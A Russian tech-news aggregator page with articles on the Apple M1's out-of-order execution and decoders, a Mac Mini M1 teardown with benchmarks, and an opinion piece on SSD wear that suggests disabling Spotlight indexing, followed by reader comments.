Данные пересылаются по шине данных (databus). Это похоже на дорогу или трубу между памятью и компонентами процессора, куда данные отправляются. В реальности мы имеем даже медные дорожки на плате. Чем шире шина, тем больше байт одновременно мы можем передать.

Процессор получает блок инструкций для выполнения полностью, но выполняет их одну за другой. Современные процессоры могут выполнять их по принципу Out-of-Order-execution. Это значит, что процессор анализирует инструкции на предмет зависимости между операциями.

01: mul r1, r2, r3    // r1  r2  r302: add r4, r1, 5     // r4  r1 + 503: add r6, r2, 1     // r6  r2 + 1

Умножение - довольно тяжелая операция, она требует несколько тактов процессора. Вторая операция из последовательности выше вынуждена подождать, когда будет выполнена первая операция, так как ей требуется ее результат. Но третья операция не зависит от первых двух. Следовательно, процессор с ОоОЕ может выполнить третью операцию параллельно первым двум в отдельном потоке.

В жизни инструкций может быть тысячи, но процессор все равно способен анализировать зависимости между ними. Процессор смотрит на входные данные каждой инструкции, зависят ли они от результатов других инструкций. Например, инструкция add r4, r1, 5 зависит от значения в регистре r1, которое является результатом операции умножения. Все эти связи складываются в проработанный граф операций, с которым CPU вполне справляется: узлы - это инструкции, а линии соединения - регистры.

CPU анализирует этот граф связей, чтобы понять, какие инструкции можно выполнять параллельно, а какие - отложить, так как их входные данные еще не были получены. Большинство операций будет выполнено еще до того, как процессор обозначит их завершенными. Со стороны же всё выглядит так, как будто инструкции были выполнены в том же порядке, в котором они были поданы процессору.

В принципе, у вас есть две формы параллелизма: одну разработчики программ должны учитывать при написании кода, а вторая - неявная, которая полагается на множество транзисторов, выполняющих их на CPU с помощью магии Out-of-Order-Execution. Для небольших процессоров с малым количеством транзисторов это не будет работать эффективно.

Именно магия OoOE и делает процессор М1 таким быстрым. На данный момент этот процессор быстрее чем любое решение от Intel или AMD, и все складывается так, как будто они и не догонят никогда Apple. Чтобы понять почему, мы должны погрузиться немного в детали.

Инструкции ISA и микро-операции

Я пропустил некоторые детали о работе ОоОЕ. Программы, загруженные в память, были собраны для конкретной архитектуры процессора ISA. Например, для x86, ARM, PowerPC, 68K, MIPS, AVR и других.

Для процессора x86 операция извлечения числа из памяти выглядит так:

MOV ax, 24

У x86 регистры названы как ax, bx, cx и dx (мы ведь помним, что это именованные ячейки памяти в CPU). Такая же операция для процессора ARM будет выглядеть так:

LDR r0, 24

Процессоры Intel и AMD построены на x86 архитектуре, а М1 от Apple - ARM. Внутри эти процессоры работают совершенно иначе, но программисты этого не видят. Мы описываем их работу микро-операциями (micro-ops, ops). С этими инструкциями железо Out-of-Order и работает.

Но почему ОоОЕ не может работать с обычным машинным кодом? Это потому что процессор вынужден хранить различную дополнительную информацию к инструкциям, чтобы иметь возможность выполнять их параллельно. Таким образом, обычная ARM инструкция может быть длиной 32 бита максимум (последовательность из 32 цифр: 0 и 1), а инструкции из микро-операций могут быть гораздо длиннее. Они содержат информацию о порядке исполнения.

01: mul r1, r2, r3    // r1  r2  r302: add r4, r1, 5     // r4  r1 + 503: add r1, r2, 1     // r1  r2 + 1

Как вы помните, мы выполняем операции 01 и 03 параллельно. И обе операции хранят результат своей работы в регистре r1. Если мы запишем результат 03 перед тем, как начнет выполняться операция 02, то вторая операция получит неверные входные данные. Следовательно, соблюдать очередность исполнения очень важно.Очередность выполнения хранится вместе с самой микро-операцией, а также хранятся и зависимости операций друг от друга.

Поэтому мы не можем написать программу специально под микро-операции, так как они содержат очень много дополнительной специфичной информации. Для двух различных ARM процессоров последовательность микро-операций может быть очень разной.

CPU может выполнять микро-операции очень быстро, потому что микро-операция - это одинарная очень простая операция. Обычно инструкции ISA могут быть очень сложными. Они состоят из множества команд, которые переводятся в микро-операции. Само слово микро происходит от сути операции, а не занимаемой ею памяти.

Для процессоров CISC зачастую нет других решений, кроме микро-операций, формирующих длинные последовательные цепочки. Это исключает использование ОоОЕ. Процессоры RISC же могут выбирать. Например, некоторые небольшие ARM процессоры не используют микро-операции. Но также они и не выполняют код с помощью ОоОЕ.

Почему выполнение ОоОЕ процессорами Intel и AMD уступает чипу М1?

Вы может быть удивлены, почему это имеет значение? Почему эта деталь важна для понимания, из-за чего Apple превосходит Intel и AMD? Суть заключается в том, как быстро вы сможете заполнить буфер микро-операций. Если у вас большой объем памяти, то ОоОЕ сможет быстрее найти независимые цепочки инструкций, которые могут быть выполнены параллельно. Но это имеет мало смысла, если у вас не получается быстро заполнять освободившееся пространство памяти после выполнения инструкций. Способность быстро заполнять буфер полагается на способность быстро нарезать машинный код на микро-операции. Устройства, которые этим занимаются, называются декодерами (decoder).

И тут мы наконец-то видим киллер-фичу процессора М1. Самый большой и подлый процессор Intel имеет на борту 4 декодера. А чип М1 - неслыханные 8 декодеров - значительно больше, чем кто бы то ни было до этого. Так можно заполнять буфер гораздо быстрее. Помимо этого, буфер для инструкций у чипа М1 больше в три раза, чем у среднего чипа в индустрии.

Почему Intel и AMD не могут добавить больше декодеров?

Здесь мы можем заметить месть процессоров RISC и начинаем понимать, почему чип М1 построен на базе ARM архитектуры. Видите ли, инструкция для процессора x86 может быть от 1 до 15 байтов длиной. Инструкция для RISC же фиксированной длинны - 4 байта. Почему это важно для нас? Дело в том, что разделение потока байтов на ограниченные инструкции, чтобы накормить ими восемь декодеров процессора параллельно, становится тривиальной задачей, если инструкции всегда одной и той же длины.

Тем не менее, декодеры в x86 не знают, где начнется следующая инструкция. Получается, что декодерам приходится анализировать и длину инструкций. Intel и AMD решила эту задачу топорно: декодер постоянно пытается определить, является ли выполняемая операция начальной точкой инструкции. Таким образом, процессор совершает очень много неудачных попыток. Это создает очень запутанную и сложную стадию декодирования, и из-за этого действительно сложно добавить больше декодеров. Но для Apple же это становится тривиальной задачей. Фактически, 4 декодера - это максимальное число возможных декодеров для Intel и AMD.

Это и есть главная причина, почему М1 ядра Firestorm могут обрабатывать в два раза больше инструкций, чем Intel и AMD, на той же частоте процессора.

Одни могут возразить, что инструкции CISC содержат больше микро-операций. х86 инструкция превращается в две микро-операции, тогда как ARM инструкция - это одна микро-операция. Затем 4 декодера х86 обработают такое же количество микро-операций за такт, какое 8 декодеров у CPU. К сожалению, такое происходит редко в жизни. Очень оптимизированный код для x86 редко использует сложные CISC инструкции, которые могли бы быть переведены во множество микро-операций. Фактически, большая часть этих инструкций будет переведено в одинарные микро-операции.

Тем не менее, эти простые инструкции х86 не помогают Intel и AMD. Несмотря на то, что инструкции длиной в 15 байтов - редкость, декодеры все равно должны быть готовы их обработать, и это и мешает производителям добавлять больше декодеров.

Но ядра процессора AMD Zen3 ведь быстрее, так?

Насколько я помню из последних бенчмарков, новейшие ядра AMD Zen3 немного быстрее, чем ядра М1 Firestorm. Но здесь есть небольшой трюк - ядра Zen3 работают на частоте 5 Гц, тогда как Firestorm работают на частоте 3.2 Гц. Ядра Zen3 лишь немного превосходят Firestorm, несмотря на то, что работают на частоте выше на 60%.

Но почему же Apple тоже не повышает частоту процессора? Ответ прост - чип станет горячее. Это одна из особенностей Apple - их компьютеры не требуют сильного охлаждения, в отличие от Intel и AMD. В сущности, ядра Firestorm превосходят Zen3, тогда как Zen3 вынужден оставаться в игре за счет гораздо большего перегрева. Apple просто не выбирают этот путь.

Если Apple захотят больше мощности, они добавят больше ядер, и это позволит дать больше производительности, не увеличивая сильно потребление энергии.

Будущее

Похоже, что AMD и Intel загнали себя в угол по двум фронтам:

  • У них нет бизнес-модели, чтобы так же легко продолжать стратегию разнородных вычислений (heterogenous computing) и следовать SoC разработкам.

  • Их устаревший набор инструкций CISC теперь преследует их, не позволяя улучшать мощности Out-of-Order.

Это не значит, что игра окончена. Они могут увеличивать частоту процессора и применять больше охлаждения, подбрасывать больше ядер и наращивать объем кэша CPU. В любом случае, оба производителя в невыгодном положении. Intel даже хуже, ведь они на данный этап официально проигрывают гонку производительности, а их GPU очень слабы для интеграции в чипах SoC.

Проблема с подбрасыванием большего числа ядер заключается в том, что ядер становится слишком много. Это хорошо только для серверных станций. Тем не менее, Amazon и Ampere атакуют рынок с их монструозными 128-ядерными процессорами. Это схоже с ситуацией, когда вы боретесь на восточном и западном фронте одновременно.

К счастью для Intel и AMD, Apple не продают свои чипы на рынок, поэтому пользователи вынуждены смириться с тем, что производители чипов им предлагают. Покупатели могут лишь спрыгнуть с корабля, но этот процесс медленный. Вы не сможете быстро сменить платформу, так как инвестировали в нее уже немало. А молодые профессионалы с деньгами, которые не успели еще выбрать свою платформу, могут инвестировать все больше в Apple, укрепляя свои позиции на премиум рынке и, следовательно, свои акции на рынке ПК.

Подробнее..

Mac Mini на M1 взгляд изнутри

26.02.2021 18:20:16 | Автор: admin

Ранее мы говорили про Mac Mini в дата-центрах. В этой статье мы заглянем под капот новейшего mac на базе SoC M1 в прямом и переносном смыслах.

Как известно, гостей встречают по одежке. Наш сегодняшний гость, новый Mac Mini, минимально отличается от своего предшественника 2018 года. Первое отличие заключается в предоставляемых интерфейсах ThunderBolt. Старое поколение имеет 4 порта, а новое всего 2. Второе заметное отличие касается окраса Mac Mini. Устройства с процессорами Intel поставляются в цвете Space Gray, а c M1 в цвете Silver.

Вероятно, Apple таким образом смещает акцент в сторону внутреннего содержимого Mac Mini. Минимальные различия во внешнем виде разных поколений побуждают уделить больше внимания их производительности. Бонусом снижение рисков, сроков и расходов на разработку новых комплектующих.

Мы пойдем на поводу у желания посмотреть внутрь Mac Mini и разберем его.

Внутренний мир


Mac Mini 2020
Mac Mini 2018 (источник ifixit.com)

Ключами к внутреннему миру Mac Mini являются отвертки Torx: T5, T6 и T8. Как и в предыдущем поколении, за пластиковой заглушкой находится алюминиевая крышка, прикрученная шестью болтами. Легко заметить, что в новом Mac Mini очень много пустого пространства. Снимаем вентилятор.

Mac Mini 2020 без вентилятора

На соединение материнской платы наклеена черная полоска, похожая на изоленту. Снятие данной наклейки лишает гарантии. В новом Mac Mini нет модернизируемых частей, поэтому поводов извлекать основную плату из корпуса тоже нет.

Основная плата вне корпуса

Материнская плата без передней панели и динамика

Материнская плата без корпуса, передней панели и динамика выглядит невероятно миниатюрной. На переднем плане видно два железных компонента без опознавательных знаков, которые, скорее всего, являются накопителем. Самое интересное ждет под воздуховодом и радиатором. Откручиваем оставшиеся 8 болтов и получаем доступ к сердцу Mac Mini.


Под радиатором можно увидеть сразу три чипа, помеченных логотипом Apple. Однако известный M1 узнается сразу. Рядом с основным кристаллом процессора находятся два модуля оперативной памяти LPDDR4X. Множество чипов не маркированы, тем не менее, узнаются следующие:

  • MegaChips MCDP2920A4, конвертер DisplayPort 1.4 в HDMI 2.0;
  • Broadcom BCM57782, гигабитный Ethernet-контроллер;
  • 2x Intel JHL8040R, ретаймер ThunderBolt 4;
  • Apple 1096 и 1097.


Микросхемы на обратной стороне материнской платы:

  • 2x Texas Instruments CD3217B12;
  • Renesas 501CR0B;
  • Fresco Logic FL1100SX, контроллер PCIe-to-USB;

Близкое расположение всех компонентов способствует повышению скорости обмена информацией, но это лишь теория. Протестируем Mac Mini на практике и сделаем собственные выводы.

Производительность


Процессор M1 состоит из 8 ядер на архитектуре ARM64. Однако это не обычные ядра. Половина из них высокопроизводительные ядра FireStorm, а остальные энергоэффективные IceStorm. Официальной информации по TDP процессора нет, но по оценкам тепловыделение не превышает 21 ватта.

Установка транслятора Rosetta 2

Первый тест в нашем плане GeekBench5, быстрый тест производительности процессоров. На Mac с M1 бенчмарк можно запустить нативно и через транслятор x86 в arm64. Последний по умолчанию отсутствует в системе, но его можно легко установить с помощью следующей команды:

softwareupdate --install-rosetta

Операционная система также предложит установить транслятор при запуске старого приложения.

Главное окно GeekBench5

При наличии Rosetta 2 в GeekBench5 можно выбрать архитектуру Intel. Это позволит измерить производительность Mac Mini на неадаптированных классических приложениях.
Архитектура приложения Single-Core Score Multi-Core Score
Apple Silicon 1742 7577
Intel 1297 6012
Intel Core i5-10500 1176 5979
Intel Core i9-9900 1246 7687
Производительность приложений x86_64 на M1 ниже нативных всего на 20%. Если оценивать по архитектуре Intel, то Apple M1 показывает результат на уровне 65-ваттного Intel Core i5-10500, а в исполнении нативного кода немного отстает от Intel Core i9-9900.
Графический ускоритель OpenCL Compute Score
Apple M1 19465
GeForce GTX 970M 19743
Графический ускоритель Metal Compute Score
Apple M1 22022
NVIDIA GeForce GTX 980 21820
В GeekBench есть секция Compute, которая измеряет производительность графического ускорителя. В этом Mac Mini графическим ускорителем выступают ядра процессора. Мы провели тесты на доступных для M1 технологиях: OpenCL и Metal. Процессор Apple показывает хороший результат, даже в сравнении с внешними видеокартами.

В Apple M1 присутствует 16-ядерная система Neural Engine для работы с нейронными сетями и машинным обучением. Нам хотелось провести тестирование с помощью AI Benchmark, однако данный тест не запускается из-за ошибки определения процессора.

Поэтому мы выбрали более простой тест обучение сверточной нейронной сети (CNN) для классификации рукописных цифр на датасете MNIST. Мы применили скрипт, адаптированный для использования с форком Tensorflow для macOS. В данном тесте три ключевых параметра:

  • среднее время прохождения эпохи;
  • среднее время прохождения шага эпохи;
  • точность полученной модели.

Мы провели тесты не только на подопытном Mac Mini, но и на некоторых видеокартах и процессорах для дата-центров. Вот что у нас получилось:
Устройство Среднее время эпохи, с Среднее время шага, мс Точность модели
Apple M1 (CPU) 15 33 99.81%
Apple M1 (GPU) 19 40 99.36%
Nvidia GeForce GTX1080 3 6 99.85%
Intel Xeon Gold 6240 9 17 99.86%
Nvidia Tesla A100 3 3 99.87%
Nvidia Tesla V100 3 3 99.94%
Nvidia Tesla P40 3 5 99.89%
Настольный компьютер не может порвать видеокарты из серверного сегмента, но если взять во внимание низкое энергопотребление, Apple M1 показывает себя как серьезного конкурента.

Заключение


Новый Mac Mini на M1 навевает мысли о том, что скоро настольные компьютеры перейдут на архитектуру ARM64. Apple сделала устройство, которое преподносит пользователю что-то новое и непривычное, но не отбирает старое и привычное, позволяя запускать приложения, созданные под другую архитектуру.

Как вы думаете, сможет ли архитектура ARM полностью вытеснить x64?

Хотите попробовать новый Mac Mini в работе? Дадим его на тест бесплатно!
Просто переходите по ссылке.
Подробнее..

Причины массового обжорства SSD на Macbook с процессорами M1

21.05.2021 16:09:34 | Автор: admin

Мир сошел с ума. Где только не писали о проблеме повышенного аппетита на ресурс SSD-накопителей у новых моделей Macbook Air и Macbook Pro с процессорами M1. Тема обсуждалась на всех популярных технических форумах. И несмотря на массовость проблемы, все обсуждения сводились к тому, что Apple не считает это проблемой. А значит и проблемы нет. И в какую дичь люди готовы поверить для самоуспокоения вместо того, чтобы взглянуть в лицо фактам и выяснить причины стремительного выработки ресурса несъёмного SSD-накопителя.

Одни уважаемые люди говорили (писали), что протокол SMART слишком сложный, чтобы система просто взяла и спросила у контроллера SSD: "а сколько жить тебе осталось, диск?". Дескать, накопители производства Apple - штука не популярная. Где-то накосячили в драйвере. Вот он и выдаёт записанные на диск гигабайты за терабайты. А создатели софта для проверки статуса SMART люди недостаточно грамотные. Да и разные производители железа тоже за 20 лет не могут договориться о единых единицах измерения в параметрах состояния диска.

Любители заговоров выдвинули свою версию - "это всё козни проклятого Intel, уж мы то знаем откуда эти ноги растут". "Им не статус дисков проверять, а их самих проверять надо, этих продажных авторов мошеннических программ."

При всей массовости проявления обжорства SSD, простое как 2 копейки решение (полное отключение Spotlight) как будто скрывается от простых пользователей. Каждый пытается меня убедить, что расход ресурса SSD со скоростью записи 180Гб/час - это нормальное явление.

Кто-то думает, что если правда жизни на столько суровая, то Apple должна отозвать все компьютеры с данным диагнозом. Давайте смотреть фактам в глаза. Я не могу судить о том, как такие события могут происходить за бугром. Но, например, в Москве затраты на массовую смену единственной платы ноутбука будут просто колоссальными. У нас тут не завод Foxconn со 100000 китайцев. Здесь специалисты сервисных центров получают нормальную зарплату, далеко не 30000 руб. Плюс еще заплатить аренду помещения, налоги и прочие сборы. А сколько компьютеров сможет обслужить один специалист в день? в месяц? - Делайте выводы сами.

Мне кажется, Apple всё же тихо мирно пофиксит софтверный баг. А те пользователи, что уже израсходовали ресурс SSD так и останутся с тем же накопителем, который у них стоит. Может быть, в отдельных случаях плату поменяют по гарантии. Но, факт есть факт. Apple поставила новые рекорды продаж ноутбуков. И отзывать все ноутбуки просто не рационально.

Почему я решил, что проблема носит массовый характер? Во-первых, в нашей организации уже три ноутбука с процессором M1. Ноутбуки куплены (заказаны) в разное время с периодичностью в месяц. На всех трех ноутбуках диагноз положительный. Во-вторых, я переустановил разные версии MacOS минимум раз 10. Диагноз был положительным с настройками "по-умолчанию" вплоть до последней на момент публикации версии MacOS 11.2.3.

Рецепт лечения обжорства ресурса SSD

Как я и говорил, проблему можно купировать временным отключением индексирования Spotlight. Я использовал команду в терминале:

sudo mdutil -i off -a

Но эта команда решает проблему не полностью. В моём случае мне помогла команда:

sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.metadata.mds.plist

Но выполнять вторую команду стоит только с отключенной защитой CSR. Решение подойдёт далеко не всем. Обязательно найдутся и активные пользователи Spotlight и Siri. Отключать или не отключать - индивидуальный выбор каждого пользователя. Лично для меня целостность SSD важнее рабочего поиска по мета-данным.

Вместо заключения. Прошу прощения, что статья написана на скорую руку. Если нужны ссылки на разные обсуждения проблемы, по запросу я вставлю их публикацию. Заранее вангую тонны негодования маководов и технических асов в мою сторону. Все коллеги отговаривали меня писать о проблеме здесь. И я не знаю зачем я пишу эту публикацию сюда. Да и зачем вообще помогать людям? Ведь всем так нравится смотреть на мир через розовые очки.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru